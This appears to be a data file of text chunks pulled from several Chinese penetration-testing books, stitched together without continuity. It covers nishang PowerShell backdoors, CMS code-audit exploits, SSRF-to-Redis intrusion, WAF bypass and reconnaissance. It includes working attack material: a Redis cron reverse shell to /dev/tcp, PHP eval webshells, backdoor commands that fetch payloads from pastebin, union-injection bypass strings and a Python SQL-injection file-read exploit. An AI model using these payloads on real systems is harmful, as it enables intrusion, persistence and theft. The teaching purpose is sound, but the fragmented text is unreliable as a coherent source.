    {"text": "● Payload ##后面直接加Payload，需要注意引号的闭合 ● PayloadURL ##传入远程的Payload进行生成 ● PayloadScript ##指定本地的脚本进行生成 ● Arguments ##之后将要执行的函数（得是Payload有的函数） ● OutputFile ##输出的文件名 ● WordFileDir ##输出的目录地址 ● Recurse ##在WordFileDir中递归寻找Word文件 ● RemoveDocx ##创建完成后删除原始文件 首先输入以下命令，在本地监听4444端口 Nc –lvp 4444 接着制作Word文件，打开nishang\\Shells\\Invoke-PowerShellTcpOneLine.ps1这个文件，复制第三行的内容，可以看到中间有一个TcpClient的参数，这里就是远程连接的地址了，如图6-195所示。"},
    {"text": "图6-195 查看远程连接的地址 这里需要将这个地址和端口改成本机的IP和你监听的端口，改完以后复制该代码，在命令行下输入以下命令，如图6-196所示。"},
    {"text": "Invoke-Encode-DataToEncode’复制的代码’-IsString-PostScript 图6-196 执行代码 执行完成之后会在当前目录下生成两个文件，一个是encoded.txt，另一个是encodedcommand.txt。"},
    {"text": "图6-197 反弹成功 6.后门 （1）HTTP-Backdoor HTTP-Backdoor可以帮助我们在目标机器上下载和执行PowerShell脚本，接收来自第三方网站的指令，然后在内存中执行PowerShell脚本，其语法如下所示。"},
    {"text": "TTP-Backdoor –CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x-PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh-MagicString start123-StopString stopthis 具体的参数介绍如下所示。"},
    {"text": "● CheckURL ##给出一个URL地址，如果存在，MagicString中的值就执行Payload来下载、运行我们的脚本 ● PayloadURL ##给出需要下载的PowerShell脚本的地址 ● Arguments ##指定要执行的函数 ● StopString ##判断是否存在CheckURL返回的字符串，如果存在则停止执行 （2）Add-ScrnSaveBackdoor 这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门，其执行方式如下所示。"},
    {"text": "● PayloadURL ##指定需要下载的脚本地址 ● Arguments ##指定要执行的函数以及相关参数 （3）Execute-OnTime Execute-OnTime可以在目标机上指定PowerShell脚本的执行时间，与HTTP–Backdoor的使用方法相似，只不过多了定时的功能，其执行方法如下所示。 PS > Execute-OnTime-PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh-Arguments Get-Information-Time hh:mm-CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh-St opString stoppayload 具体的参数介绍如下所示。 ● PayloadURL ##指定脚本下载的地址 ● Arguments ##指定执行的函数名 ● Time ##设定脚本执行的时间（例如-Time 23:21） ● CheckURL ##会检测一个指定的URL内容里是否存在StopString给出的字符串，如果发现了就停止执行 （4）Invoke-ADSBackdoor 这个脚本使用NTFS数据流留下一个永久性后门。"},
    {"text": "PS >Invoke-ADSBackdoor-PayloadURL http://192.168.12.110/test.ps1 图6-198 执行后门脚本 执行该脚本之后，如果目标用户手动找根本不会找到任何东西，使用命令dir/a/r才能看到被写入的文件，如图6-199所示。"},
    {"text": "未知 7.1 代码审计实例分析 对网站进行渗透测试前，如果发现网站使用的程序是开源的CMS，测试人员一般会在互联网上搜索该CMS已经公开的漏洞，然后尝试利用公开的漏洞进行测试。 由于CMS已开源，所以可以将源码下载后，直接进行代码审计，寻找源码中的安全漏洞。"},
    {"text": "7.1.1 SQL注入漏洞 打开CMS源码的model.php文件（model文件一般为操作数据库的文件），会发现函数GETInfoWhere（）将变量$strWhere直接拼接到select语句中，没有任何的过滤，代码如下所示。 如果可以控制变量$strWhere的值，就有可能存在SQL注入漏洞。"},
    {"text": "变量$obj WebInit是初始化数据库对象，然后将$_GET['name']拼接给$arrWhere，最后将$strwhere语句带入到getInfoWhere（）函数中，代码如下所示。"},
    {"text": "可以看到，参数name从获取再到拼接入数据库中，没有经过任何的过滤，所以如果代码中没有使用全局过滤器或者其他的安全措施，就会存在SQL注入漏洞。"},
    {"text": "直接访问http://127.0.0.1/include/detail.inc.php?name=1时，程序会报错，如图7-1所示。 图7-1 不能直接访问 在源码中搜索detail.inc.php的调用点，发现/detail.php中通过require_once（）直接将该文件包含进来。 <?php require_once（'include/detail.inc.php'）; ?> 访问127.0.0.1/detail.php?name=11111'union select 1,user（）,3,4%23时，程序直接将user（）的结果返回到了页面，如图7-2所示。"},
    {"text": "图7-2 注入成功 7.1.2 文件删除漏洞 打开CMS源码中的upload.php文件，该页面用于上传文件，实现的功能是先删除旧文件，然后上传新的文件，代码如下所示。"},
    {"text": "程序首先将文件的保存路径$arrGPic['FileSavePath'].'b/’和POST提交的文件名$_POST['savefilename']连接，然后用is_file（）判断文件是否存在，如果已存在，则删除原文件，但这里存在两个问题。"},
    {"text": "利用以上两点，我们可以构造$_POST['savefilename']=../../../data/install.lock，此时unlink函数就会删除install.lock。 利用过程：修改POST表单内容’savefilename'=../../../data/install.lock，然后提交。 这里虽然提示“文件类型不符合要求”，但是其实已经删除了../../../data/install.lock文件，如图7-3所示。"},
    {"text": "● 调用PclZip库解压缩avatar.zip，如果解压失败，就用exit（）退出程序。 ● 如果解压缩后存在目录，则调用dr_dir_delete（）删除该目录。 ● 然后删除avatar.zip和文件（除了45x45.jpg和90x90.jpg）。"},
    {"text": "这里很容易想到的一个绕过的方法就是利用竞争条件，先上传一个包含创建新WebShell的脚本，如下所示，然后在文件解压再到文件被删除的这个时间差里访问该脚本，那么就会在上级目录生成一个新的WebShell。 <?php fputs（fopen（'../shell.php','w'）,'<?php @eval（$_POST[a]）?>'）; ?> 下面介绍第二种绕过的方法，上面说到程序调用PclZip库解压缩avatar.zip，如果解压失败，就用exit（）退出程序，后面所有的操作都不会执行（包括删除文件），这里如果能构造一个压缩文件，可以选择解压一部分文件，但在解压未完成时将出错，此时会新出现一个问题：WebShell被解压出来，但由于解压出错，所以程序会exit（），后面的删除操作都不会执行。"},
    {"text": "图7-6 原始的数据包内容 图7-7 修改后的数据包内容 ● 请求该数据后，返回结果如图7-7所示，程序返回500错误，且爆出PHP的错误，说明程序解压缩失败了。"},
    {"text": "这时在服务器的上传目录中，可以看到，部分文件已经被解压出来了，如图7-8所示。 图7-8 部分文件被解压 再仔细查看解压缩文件的代码，如下所示，会发现函数extract（）中使用的参数是PCLZIP_OPT_PATH,PCLZIP_OPT_PATH，代表了压缩包将被解压到的目录。 $this->pclzip->extract（PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_REPLACE_NEWER） PclZip允许将压缩文件解压到系统的任意位置，参数PCLZIP_OPT_EXTRACT_DIR_RESTRICTION可用于只允许解压到指定目录，而不能解压到其他目录的情况。 这里程序存在很明显的问题，没有使用参数PCLZIP_OPT_EXTRACT_DIR_RESTRICTION，所以我们可以构造压缩文件，其中包含一个a.php的文件，当程序解压时，会将a.php解压到上级目录。"},
    {"text": "● 新建一个压缩文件，包含1.png和2222.php两个文件，如图7-9所示。 图7-9 压缩文件 ● 使用notepad++打开该压缩文件，将2222.php修改为../2.php，如图7-10和图7-11所示。 图7-10 原压缩文件 图7-11 修改后的压缩文件 ● 使用Burp Suite发送请求后，可以看到，在上级目录下创建了一个2.php文件，如图7-12所示。"},
    {"text": "图7-12 成功上传WebShell 7.1.4 添加管理员漏洞 打开CMS源码中的regin.php文件，该页面是用户注册页面，代码如下所示 首先通过多种判断限定用户名必须是4～21个字符之间的数字、字母，用户名不存在非法字符等。"},
    {"text": "接下来将$_POST带入到saveInfo（）函数中，代码如下所示。 $intID=$objWebInit->saveInfo（$_POST,0,false,true）; 跟进saveInfo（）函数，代码如下所示。"},
    {"text": "通过check::getAPI调用mcenter中的saveInfo（）函数（check::getAPI的作用是通过call_user_func_array调用mcenter.class.php中的saveInfo（）函数，由于不是重点，所以未列出代码）。 找到mcenter.class.php中的saveInfo（）函数，代码如下所示。 saveInfo（）函数先通过check::SqlInjection对参数添加addslashes转义，然后带入到$this->insertUser（$arr），此处的$arr就是传递进来的$_POST，继续跟进insertUser（），这里可以看到，代码使用REPLACE INTO插入数据，如下所示。"},
    {"text": "● 为了演示，我们先看下数据库中的数据：管理员的user_id=1（控制权的表中指明user_id=1的用户为管理员）,user_name=admin,password=123456，如图7-13所示。"},
    {"text": "图7-15 成功更改管理员的信息 7.1.5 竞争条件漏洞 打开CMS源码中的gift.php文件，此代码的作用是使用积分兑换商品，将获取的参数带入到update_gift（）函数中，代码如下所示。 跟进update_gift（）函数，代码如下所示，此函数的作用就是执行数据库UPDATE，更新数据，通过对代码的检查，可以发现在query时并没有对数据库加锁，所以此处可以考虑利用多线程造成竞争条件漏洞。"},
    {"text": "图7-16 当前的“财富值” ● 使用Python编写多线程脚本，接着使用threading新建100个线程，然后同时请求兑换该商品（不能保证所有的请求都能执行成功），代码如下所示。"},
    {"text": "图7-19 登录界面 该登录界面存在图形验证码，一般情况下，需要使用图片识别工具识别图片中的验证码，然后进行暴力破解，但是此验证码存在漏洞：只要不刷新页面，图形验证码就可以一直使用。 例如使用Burp Suite的Repeater工具一直发送登录的数据包，就可以暴力破解，如图7-20所示。 图7-20 利用验证码漏洞 且从返回结果可以看到，账号admin不存在，此处存在用户枚举漏洞，利用该漏洞即可枚举系统中已经存在的账号。"},
    {"text": "现在第一步就是需要找到后台的登录账号，随便打开网站中的一篇新闻，找出发布者，最终确定的发布者有：科技管理部、财务部、办公室等，如图7-21所示。 图7-21 找出新闻的发布者 然后笔者尝试使用发布者名称的首字母登录，例如kjglb、cwb、bgs，发现确实存在该账号，如图7-22所示。"},
    {"text": "7.2.2 SSRF+Redis获得WebShell 笔者在进行一次渗透测试时，没有发现目标站点存在可直接利用的漏洞，但却发现C段中的一个网站存在SSRF漏洞，通过添加一个网址，就可以访问内部网络，如图7-24所示。 图7-24 SSRF漏洞 由于此SSRF漏洞能够在页面上回显信息，所以可以直接遍历内部信息，笔者通过不断尝试，发现目标站点存在Redis未授权访问漏洞，如图7-25所示。 图7-25 Redis未授权访问漏洞 下面就是利用Redis未授权访问漏洞获取反弹的Shell的过程。"},
    {"text": "● 在Linux系统中，使用socat进行端口转发，将Redis的6379端口转为8888端口（目的是为了记录请求Redis的数据包），命令如下所示。 socat-v tcp-listen:8888,fork tcp-connect:localhost:6379 ● 新建一个redis.sh文件，内容如下所示。 echo-e \"\\n\\n*/1 * * * * bash-i >& /dev/tcp/192.168.0.11/2333 0>&1\\n\\n\"|redis-cli-h 127.0.0.1-p 8888-x set 1 redis-cli-h 127.0.0.1-p 8888 config set dir /var/spool/cron/ redis-cli-h 127.0.0.1-p 8888 config set dbfilename root redis-cli-h 127.0.0.1-p 8888 save ● 上述命令是利用Redis未授权访问创建反弹Shell的命令，其中192.168.0.11为接收端地址，2333为接受端端口，如图7-26所示，客户端利用NC监听2333端口。 图7-26 NC接收端 然后终端执行bash redis.sh，执行后，Socat捕获到redis的命令如下所示 。"},
    {"text": "图7-27 转换后的命令 ● 在本地利用curl尝试访问以下内容，可以看到返回四条“+OK”，代表Redis命令执行成功，如图7-28所示。 图7-28 成功利用Redis漏洞 ● 接下来需要利用SSRF漏洞，对上面生成的代码，进行url编码，如下所示。"},
    {"text": "图7-29 利用Redis漏洞 ● 访问请求后，成功反弹shell，如图7-30所示。 图7-30 反弹shell Redis还有一个常用的漏洞：只需要知道网站的绝对路径，就可以利用未授权访问漏洞向网站目录写WebShell，命令如下所示。 redis-cli-h 127.0.0.1-p 8889 config set dir /var/www/html/ redis-cli-h 127.0.0.1-p 8889 config set dbfilename webshell.php redis-cli-h 127.0.0.1-p 8889 set webshell'111<?php @eval（$_POST[a]）;?>' redis-cli-h 127.0.0.1-p 8889 save 利用上面介绍的方法，得到的请求如下所示。"},
    {"text": "图7-31 成功写WebShell 7.2.3 旁站攻击 笔者在对一个网站进行渗透测试时，发现网站使用了CDN加速，如果对该网站发送恶意数据包，该CDN就会封禁攻击者的IP，导致无法访问该网站，如图7-32所示。"},
    {"text": "所以尝试注册一个用户，然后再查看接收到的邮件的原文，如图7-33所示。 图7-33 显示邮件原文 从邮件原文中可以看到发件人的IP地址，如图7-34所示。"},
    {"text": "图7-34 查看发件人的IP 一般情况下，邮箱的IP和网站的IP属于同一C段，所以可以通过扫描C段IP来寻找网站的真实IP，然后通过访问网站IP的方式绕过CDN的安全限制。"},
    {"text": "注册账号后，笔者发现可以上传头像，但是只能上传图片文件，无法上传WebShell，如图7-35所示。 图7-35 无法上传WebShell 笔者接着使用Nmap扫描网站开放的端口，发现服务器开放了8080端口，且存在目录浏览漏洞，可以直接看到网站目录下的文件，如图7-36所示。 图7-36 目录浏览漏洞 通过不断浏览目录下的文件，笔者发现了一个特点：8080端口是文件服务器，在80端口上传的图片文件，其实是上传到了8080端口上，上传后的图片路径是一样的，如图7-37和图7-38所示。 图7-37 8080端口的文件 图7-38 80端口的文件 通过扫描，笔者发现8080端口存在IIS PUT漏洞，可以直接上传WebShell，所以在8080端口上上传一个PHP WebShell文件，然后就可以通过80端口访问了（8080端口不解析PHP程序，所以不能直接通过8080端口访问）。"},
    {"text": "正常情况下重置密码的过程是在找回密码界面中输入手机号，获取短信验证码，然后向服务器端提交重置密码的请求，如果输入的短信验证码正确，密码就重置成功了，如图7-39所示。"},
    {"text": "● 在第一个TAB页面上输入18000000001，然后单击“获取验证码”（这里为了演示，直接将短信验证码显示在界面上）按钮，如图7-40所示。 图7-40 获取验证码（1） ● 在第二个TAB页面上，输入18000000002，然后单击“获取验证码”（这里为了演示，直接将短信验证码显示在界面上）按钮，如图7-41所示。 图7-41 获取验证码（2） ● 回到第一个TAB页面，输入在第二个TAB页面中获取的验证码89205，接着单击“确认”按钮，然后账号18000000001的密码就已重置成功了，如图7-42所示。"},
    {"text": "图7-42 重置了目标用户的密码 服务器端判断短信验证码是否正确的方法：判断POST传递的短信验证码和session中传递的短信验证码是否一致，如果一致，则重置用户密码。"},
    {"text": "● 当服务器端判断时，POST传递的code=89205，而session中code=89205，所以通过了检测，此时利用第二个TAB页面（即发送到自己手机里）的短信验证码成功地在第一个TAB页面重置了目标账户的密码。"},
    {"text": "7.2.5 SQL注入 对一个网站进行渗透测试时，当访问id=1',id=1 and 1=1,id=1 and 1=2时，根据程序的返回结果，可以判断该页面存在SQL注入漏洞，如图7-43～图7-45所示。 图7-43 访问id=1' 图7-44 访问id=1 and 1=1 图7-45 访问id=1 and 1=2 在使用order by和union语句尝试注入时，笔者发现网站存在某防护软件，直接阻断了访问，如图7-46和图7-47所示。"},
    {"text": "● 访问id=1 union，程序报错，但是语句没被拦截，如图7-48所示。 图7-48 访问id=1 union 访问id=1 union select，语句被拦截，如图7-49所示。 图7-49 访问id=1 union select 说明程序不是基于关键字拦截的，而是基于关键字的组合进行判断。 ● 访问id=1 union/**/select，语句被拦截，如图7-50所示。 图7-50 访问id=1 union/**/select 访问id=1 union%26select,%26是&的url编码格式，使用&是为了检查该防护软件是否会将1 union&select拆分成1 union和select，从返回结果可以看出，防护软件果然对1 union&select进行了拆分，从而导致判断出错，如图7-51所示。 图7-51 访问id=1 union%26select 访问id=1 union/*%26*/select，程序报错，此时已经绕过了防护软件的检测，如图7-52所示。 图7-52 访问id=1 union/*%26*/select 访问id=1 union/*%26*/select/*%26*/1,user（）,3,4，页面返回了user（）的结果，说明已经成功绕过了防护，如图7-53所示。 图7-53 成功使用union语句 ● 访问id=-1 union/*%26*/select/*%26*/1,table_name,3,4/*%26*/from/*%26*/information_schema.tables/*%26*/where/*%26*/table_schema='test'，尝试获取数据库表名，但是语句被拦截，如图7-54所示。"},
    {"text": "图7-56 使用SQLMAP注入 ● 编写一个名为test.py的tamper脚本（位于SQLMap目录下的tamper目录下），它的作用是将空格转换为/*%26%23*/，代码如下所示。"},
    {"text": "未知 1.1 收集域名信息 知道目标的域名之后，我们要做的第一件事就是获取域名的注册信息，包括该域名的DNS服务器信息和注册人的联系信息等。域名信息收集的常用方法有以下这几种。 1.1.1 Whois查询 Whois是一个标准的互联网协议，可用于收集网络注册信息，注册的域名﹑IP地址等信息。简单来说，Whois就是一个用于查询域名是否已被注册以及注册域名的详细信息的数据库（如域名所有人、域名注册商）。在Whois查询中，得到注册人的姓名和邮箱信息通常对测试个人站点非常有用，因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。对中小站点而言，域名所有人往往就是管理员。 在Kali系统中，Whois已经默认安装，只需输入要查询的域名即可，如图1-1所示。 图1-1 Kali下的Whois查询 在线Whois查询的常用网站有爱站工具网（https://whois.aizhan.com）、站长之家（http://whois.chinaz.com）和VirusTotal（https://www.virustotal.com），通过这些网站可以查询域名的相关信息，如域名服务商、域名拥有者，以及他们的邮箱、电话、地址等。 1.1.2 备案信息查询 网站备案是根据国家法律法规规定，需要网站的所有者向国家有关部门申请的备案，这是国家信息产业部对网站的一种管理，为了防止在网上从事非法的网站经营活动的发生。主要针对国内网站，如果网站搭建在其他国家，则不需要进行备案。 常用的网站有以下这两个。 ● ICP备案查询网：http://www.beianbeian.com。 ● 天眼查：http://www.tianyancha.com。 未知 1.2 收集敏感信息 Google是世界上最强的搜索引擎之一，对一位渗透测试者而言，它可能是一款绝佳的黑客工具。我们可以通过构造特殊的关键字语法来搜索互联网上的相关敏感信息。下面列举了一些Google的常用语法及其说明，如表1-1所示。 表1-1 Google的常用语法及其说明 举个例子，我们尝试搜索一些学校网站的后台，语法为“site:edu.cn intext：后台管理”，意思是搜索网页正文中含有“后台管理”并且域名后缀是edu.cn的网站，搜索结果如图1-2所示。 图1-2 搜索敏感信息 可以看到利用Google搜索，我们可以很轻松地得到想要的信息，还可以用它来收集数据库文件、SQL注入、配置信息、源代码泄露、未授权访问和robots.txt等敏感信息。 当然，不仅是Google搜索引擎，这种搜索思路还可以用在百度﹑雅虎﹑Bing﹑Shodan等搜索引擎上，其语法也大同小异。 另外，通过Burp Suite的Repeater功能同样可以获取一些服务器的信息，如运行的Server类型及版本、PHP的版本信息等。针对不同的Server，可以利用不同的漏洞进行测试，如图1-3所示。 图1-3 服务器的配置信息 除此之外，也可以尝试在GitHub上寻找相关敏感信息，如数据库连接信息、邮箱密码、uc-key、阿里的osskey，有时还可以找到泄露的源代码等。 读者可以通过乌云漏洞表（https://wooyun.shuimugan.com）查询历史漏洞信息。"},
    {"text": "未知 1.3 收集子域名信息 子域名也就是二级域名，是指顶级域名下的域名。假设我们的目标网络规模比较大，直接从主域入手显然是很不理智的，因为对于这种规模的目标，一般其主域都是重点防护区域，所以不如先进入目标的某个子域，然后再想办法迂回接近真正的目标，这无疑是个比较好的选择。那么问题来了，怎样才能尽可能多地搜集目标的高价值子域呢？常用的方法有以下这几种。 1.子域名检测工具 用于子域名检测的工具主要有Layer子域名挖掘机、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等。笔者重点推荐Layer子域名挖掘机、Sublist3r和subDomainsBrute。 Layer子域名挖掘机的使用方法比较简单，在域名对话框中直接输入域名就可以进行扫描，它的显示界面比较细致，有域名、解析IP、CDN列表、Web服务器和网站状态，如图1-4所示，这些对安全测试人员来说非常重要。 图1-4 Layer子域名挖掘机 subDomainsBrute的特点是可以用小字典递归地发现三级域名、四级域名，甚至五级域名等不容易被探测到的域名。执行该工具的命令如下所示。 python subDomainsbrute.py xxxx.com Sublist3r也是一个比较常用的工具，它能列举多种资源，如在Google、Yahoo、Bing、Baidu和Ask等搜索引擎中可查到的子域名，还可以列出Netcraft、VirusTotal、ThreatCrowd、DNSdumpster和Reverse DNS查到的子域名。 2.搜索引擎枚举 我们可以利用Google语法搜索子域名，例如要搜索百度旗下的子域名就可以使用“site:baidu.com”语法，如图1-5所示。 图1-5 用Google搜索子域名 3.第三方聚合应用枚举 很多第三方服务汇聚了大量DNS数据集，可通过它们检索某个给定域名的子域名。只需在其搜索栏中输入域名，就可检索到相关的域名信息，如图1-6所示。 图1-6 查询百度的子域名 读者也可以利用DNSdumpster网站（https://dnsdumpster.com/）、在线DNS侦查和搜索的工具挖掘出指定域潜藏的大量子域。 4.证书透明度公开日志枚举 证书透明度（Certificate Transparency,CT）是证书授权机构（CA）的一个项目，证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址，这些也经常成为攻击者非常希望获得的有用信息。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。 笔者推荐crt.sh:https://crt.sh和censys:https://censys.io这两个网站，下面展示了一个crt.sh进行子域名枚举的例子，如图1-7所示。 图1-7 子域名枚举 此外，读者还可以利用一些在线网站查询子域名，如子域名爆破网站（https://phpinfo.me/domain）,IP反查绑定域名网站（http://dns.aizhan.com）等。 未知 1.4 收集常用端口信息 在渗透测试的过程中，对端口信息的收集是一个很重要的过程，通过扫描服务器开放的端口以及从该端口判断服务器上存在的服务，就可以对症下药，便于我们渗透目标服务器。 所以在端口渗透信息的收集过程中，我们需要关注常见应用的默认端口和在端口上运行的服务。最常见的扫描工具就是Nmap（具体的使用方法后续章节会详细介绍），无状态端口扫描工具Masscan、ZMap和御剑高速TCP端口扫描工具，如图1-8所示。 图1-8 御剑高速端口扫描工具 常见的端口及其说明，以及攻击方向汇总如下。 ● 文件共享服务端口如表1-2所示。 表1-2 文件共享服务端口 ● 远程连接服务端口如表1-3所示。 表1-3 远程连接服务端口 ● Web应用服务端口如表1-4所示。 表1-4 Web应用服务端口 ● 数据库服务端口如表1-5所示。 表1-5 数据库服务端口 ● 邮件服务端口如表1-6所示。 表1-6 邮件服务端口 ● 网络常见协议端口如表1-7所示。 表1-7 网络常见协议端口 ● 特殊服务端口如表1-8所示。 表1-8 特殊服务端口 Cover"},
    {"text": "index Document Outline 第1篇 基础篇 第1章 Web安全简介 1.1 服务器是如何被入侵的 1.2 如何更好地学习Web安全 第2章 深入HTTP请求流程 2.1 HTTP协议解析 2.1.1 发起HTTP请求 2.1.2 HTTP协议详解 2.1.3 模拟HTTP请求 2.1.4 HTTP协议与HTTPS协议的区别 2.2 截取HTTP请求 2.2.1 Burp Suite Proxy 初体验 2.2.2 Fiddler 2.2.3 WinSock Expert 2.3 HTTP应用：黑帽SEO之搜索引擎劫持 2.4 小结 第3章 信息探测 3.1 Google Hack 3.1.1 搜集子域名 3.1.2 搜集Web信息 3.2 Nmap初体验 3.2.1 安装Nmap 3.2.2 探测主机信息 3.2.3 Nmap脚本引擎 3.3 DirBuster 3.4 指纹识别 3.5 小结 第4章 漏洞扫描 4.1 Burp Suite 4.1.1 Target 4.1.2 Spider 4.1.3 Scanner 4.1.4 Intruder 4.1.5 辅助模块 4.2 AWVS 4.2.1 WVS向导扫描 4.2.2 Web扫描服务 4.2.3 WVS小工具 4.3 AppScan 4.3.1 使用AppScan扫描 4.3.2 处理结果 4.3.3 AppScan辅助工具 4.4 小结 第2篇 原理篇 第5章 SQL注入漏洞 5.1 SQL注入原理 5.2 注入漏洞分类 5.2.1 数字型注入 5.2.2 字符型注入 5.2.3 SQL注入分类 5.3 常见数据库注入 5.3.1 SQL Server 5.3.2 MySQL 5.3.3 Oracle 5.4 注入工具 5.4.1 SQLMap 5.4.2 Pangolin 5.4.3 Havij 5.5 防止SQL注入 5.5.1 严格的数据类型 5.5.2 特殊字符转义 5.5.3 使用预编译语句 5.5.4 框架技术 5.5.5 存储过程 5.6 小结 第6章 上传漏洞 6.1 解析漏洞 6.1.1 IIS解析漏洞 6.1.2 Apache解析漏洞 6.1.3 PHP CGI解析漏洞 6.2 绕过上传漏洞 6.2.1 客户端检测 6.2.2 服务器端检测 6.3 文本编辑器上传漏洞 6.4 修复上传漏洞 6.5 小结 第7章 XSS跨站脚本漏洞 7.1 XSS原理解析 7.2 XSS类型 7.2.1 反射型XSS 7.2.2 存储型XSS 7.2.3 DOM XSS 7.3 检测XSS 7.3.1 手工检测XSS 7.3.2 全自动检测XSS 7.4 XSS高级利用 7.4.1 XSS会话劫持 7.4.2 XSS Framework 7.4.3 XSS GetShell 7.4.3 XSS蠕虫 7.5 修复XSS跨站漏洞 7.5.1 输入与输出 7.5.2 HttpOnly 7.6 小结 第8章 命令执行漏洞 8.1 OS命令执行漏洞示例 8.2 命令执行模型 8.2.1 PHP命令执行 8.2.2 Java命令执行 8.3 框架执行漏洞 8.3.1 Struts2代码执行漏洞 8.3.2 ThinkPHP命令执行漏洞 8.3 防范命令执行漏洞 第9章 文件包含漏洞 9.1 包含漏洞原理解析 9.1.1 PHP包含 9.1.2 JSP包含 9.2 安全编写包含 9.3 小结 第10章 其他漏洞 10.1 CSRF 10.1.1 CSRF攻击原理 10.1.2 CSRF攻击场景（GET） 10.1.3 CSRF攻击场景（POST） 10.1.4 浏览器Cookie机制 10.1.5 检测CSRF漏洞 10.1.6 预防跨站请求伪造 10.2 逻辑错误漏洞 10.2.1 挖掘逻辑漏洞 10.2.2 绕过授权验证 10.2.3 密码找回逻辑漏洞 10.2.4 支付逻辑漏洞 10.2.5 指定账户恶意攻击 10.3 代码注入 10.3.1 XML注入 10.3.2 XPath注入 10.3.3 JSON注入 10.3.4 HTTP Parameter Pollution 10.4 URL跳转与钓鱼 10.4.1 URL跳转 10.4.2 钓鱼 10.5 WebServer远程部署 10.5.1 Tomcat 10.5.2 JBoss 10.5.3 WebLogic 10.6 小结 第3篇 实战篇 第11章 实战入侵与防范 11.1 开源程序安全剖析 11.1.1 0day攻击 11.1.2 网站后台安全 11.1.3 MD5还安全吗 11.2 拖库 11.2.1 支持外连接 11.2.2 不支持外连接 11.3 小结 第4篇 综合篇 第12章 暴力破解测试 12.1 C/S架构破解 12.2 B/S架构破解 12.3 暴力破解案例 12.4 防止暴力破解 12.5 小结 第13章 旁注攻击 13.1 服务器端Web架构 13.2 IP逆向查询 13.3 SQL跨库查询 13.4 目录越权 13.5 构造注入点 13.6 CDN 13.7 小结 第14章 提权 14.1 溢出提权 14.2 第三方组件提权 14.2.1 信息搜集 14.2.2 数据库提权 14.2.3 FTP提权 14.2.4 PcAnywhere提权 14.3 虚拟主机提权 14.4 提权辅助 14.4.1 3389端口 14.4.2 端口转发 14.4.3 启动项提权 14.4.4 DLL劫持 14.4.5 添加后门 14.5 服务器防提权措施 14.6 小结 第15章 ARP欺骗攻击 15.1 ARP协议简介 15.1.1 ARP缓存表 15.1.2 局域网主机通信 15.1.3 ARP欺骗原理 15.2 ARP攻击 15.2.1 Cain 15.2.2 Ettercap 15.2.3 NetFuke 15.3 防御ARP攻击 15.4 小结 第16章 社会工程学 16.1 信息搜集 16.2 沟通 16.3 伪造 16.4 小结\nCover\nindex"},
    {"text": "index Document Outline 封面 扉页 内容简介 版权页 网络空间安全重点规划丛书编审委员会 出版说明 前言 目录 第1章 Web系统安全概述 1.1 Web系统安全现状 1.2 Web网站系统结构 1.3 Web安全漏洞 1.4 Web安全威胁前沿趋势 思考题 第2章 Web应用防火墙 2.1 WAF简介 2.2 WAF的功能及特点 2.3 WAF部署 2.4 WAF防护原理 思考题 第3章 HTTP校验和访问控制 3.1 HTTP 3.2 HTTP校验 3.3 HTTP访问控制 思考题 第4章 Web防护 4.1 弱密码 4.2 SQL注入 4.3 跨站脚本攻击 4.4 跨站请求伪造攻击 4.5 恶意流量攻击 4.6 文件上传与下载攻击 4.7 Web服务器敏感信息泄露 思考题 第5章 网页防篡改 5.1 网页篡改的原理 5.2 攻击者常用的网页篡改方法 5.3 网页篡改防范技术 思考题 第6章 分布式拒绝服务攻击防护 6.1 DDoS攻击原理 6.2 DDoS攻击现象与特点 6.3 DDoS攻击方式 6.4 DDoS攻击的防御方法 思考题 第7章 威胁情报中心 7.1 威胁情报概述 7.2 威胁情报服务和威胁情报的用途 7.3 智慧Web应用防火墙 思考题 第8章 典型案例 8.1 防数据泄露解决方案 8.2 防DDoS攻击解决方案 8.3 防网页篡改解决方案 正文结束 附录A WAF技术英文缩略语 参考文献\nCover\nindex"},
    {"text": "Microsoft Word - a扉页.doc 看到如图 3-67 所示的结果，证明确实存在 SQL 注入，接着编写语句： isafe ' and extractvalue(1,(select load_file('c:/boot.ini')))# 提交后结果如图 3-68 所示。"},
    {"text": "Python 代码如下： #!/usr/bin/env python #coding = utf-8 import re import urllib2 import sys class Hole(object): def attack(self,url,path): i = 0 step = 0 offset = 0 filedata = \"\" filedataall = \"\" user_agent = \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\" regx = \"(?is): '(.*?)'</p><p>\" while True: i = i+1 step = step + 1 offset = 32 * step y 98 y 第 3 章 漏洞挖掘 sql = \"isafe' and extractvalue(1,substr(concat(unhex(hex((select load_file('\"+path+\"'))))),\"+str(i)+\",\"+str(offset)+\"))#\" url1 = url + \"/index.php/web/system/reg/\" data1 = \"username=\"+ sql + \"&userpass=1qaz2wsx&reuserpass=1qaz2wsx&dosubmit=1\" req = urllib2.Request(url1,data= data1 ,headers={'User-Agent': user_agent}) try: res = urllib2.urlopen(req) content = res.read() except urllib2.URLError,e: content = e.read() i = offset result = re.compile(regx).findall(content) if result: filedata = result[0] filedataall = filedataall + filedata #print filedataall if len(filedata) < 31: break else: break print filedataall def verify(self,url): url1 = url+ \"/index.php/web/system/reg/\" sql = \"isafe' and extractvalue(1,concat(0x7c7c7c7c,(select user())))#\" data1 = \"username=\"+ sql + \"&userpass=1qaz2wsx&reuserpass= 1qaz2wsx&dosubmit=1\" regx = \"(\\|\\|\\|\\|)\" user_agent = \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\" req = urllib2.Request(url1,data=data1,headers={\"User-Agent\":user_agent}) try: res = urllib2.urlopen(req) content = res.read() except urllib2.HTTPError,e: content = e.read() result = re.compile(regx).findall(content) if result: y 99 y Web 渗透与漏洞挖掘 print \"success\" else: print \"fail\" if __name__ == \"__main__\": url = sys.argv[1] path = sys.argv[2] hole1 = Hole() hole1.attack(url,path) hole1.verify(url) 运行以上 Python 代码，如图 3-69 所示。"},
